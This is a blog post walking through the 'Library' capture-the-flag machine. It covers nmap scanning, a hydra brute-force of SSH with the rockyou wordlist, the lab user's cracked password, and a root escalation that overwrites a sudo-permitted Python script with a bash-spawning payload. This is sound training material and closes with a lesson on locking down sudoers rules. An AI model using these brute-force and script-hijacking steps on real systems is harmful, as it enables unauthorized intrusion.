DEV Community

Cover image for Capture the Flag: A Walkthrough of the "Library" Machine
Mohammad ali
Mohammad ali

Posted on

Capture the Flag: A Walkthrough of the "Library" Machine

Capture the Flag: A Walkthrough of the "Library" Machine

In this article, I will walk you through my methodology for solving the "Library" machine, a boot2root CTF challenge. This machine focuses on essential enumeration and privilege escalation techniques, serving as an excellent exercise for those looking to sharpen their Linux security skills.

1. Enumeration & Reconnaissance

The first step in any penetration test is reconnaissance. I started by scanning the target machine to identify open ports and services using nmap.

nmap -sV -sC <target_ip>
Enter fullscreen mode Exit fullscreen mode

The scan results revealed two primary services:

  • SSH (Port 22): OpenSSH 7.2p2 (Ubuntu Linux).

  • HTTP (Port 80): Apache httpd 2.4.18.

Browsing the web server, I checked the robots.txt file, which gave me a hint about potential usernames. Following this lead, I utilized hydra to perform a brute-force attack on the SSH service using the rockyou.txt wordlist to identify the password for the discovered user (meliodas).

Command used:

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://<target_ip>
Enter fullscreen mode Exit fullscreen mode

The attack was successful, and I obtained the valid credentials.

2. Initial Access

With the discovered credentials, I established an SSH connection to the machine:
(Username): meliodas
(Password): iloveyou1

ssh meliodas@<target_ip>
Enter fullscreen mode Exit fullscreen mode

Once logged in, I navigated to the home directory and successfully retrieved the first flag from user.txt.

3. Privilege Escalation

To gain full control of the system, I needed to escalate my privileges. I ran sudo -l to check the permissions assigned to the current user.

The output indicated that the user meliodas could run a specific Python script as root without a password:
(ALL) NOPASSWD: /usr/bin/python /home/meliodas/bak.py

Analyzing the Vulnerability

I examined the content of bak.py. It was a simple backup script designed to zip the web directory.

Exploitation

Since I had write access to the script, I decided to remove the original backup script first and replace it with a payload to spawn a bash shell.

First, I removed the original bak.py file:

rm /home/meliodas/bak.py
Enter fullscreen mode Exit fullscreen mode

Next, I created a new bak.py file using nano:

nano /home/meliodas/bak.py
Enter fullscreen mode Exit fullscreen mode

Inside the editor, I added the following snippet to spawn a root shell:

import os
os.system("/bin/bash -i")
Enter fullscreen mode Exit fullscreen mode

After saving the file and exiting the editor, I executed the script with sudo privileges:

sudo /usr/bin/python /home/meliodas/bak.py
Enter fullscreen mode Exit fullscreen mode

I immediately obtained a root shell. Navigating to the /root directory, I found and read the root.txt file, successfully completing the challenge.

4. Conclusion

This machine highlights the critical importance of secure configuration management. Specifically, it demonstrates why Sudoers rules must be strictly defined and why scripts executable with root privileges should be protected from unauthorized modifications.

I hope this walkthrough proves helpful to those starting their journey in cybersecurity. Keep practicing and always think like an attacker to defend like a pro!

Top comments (0)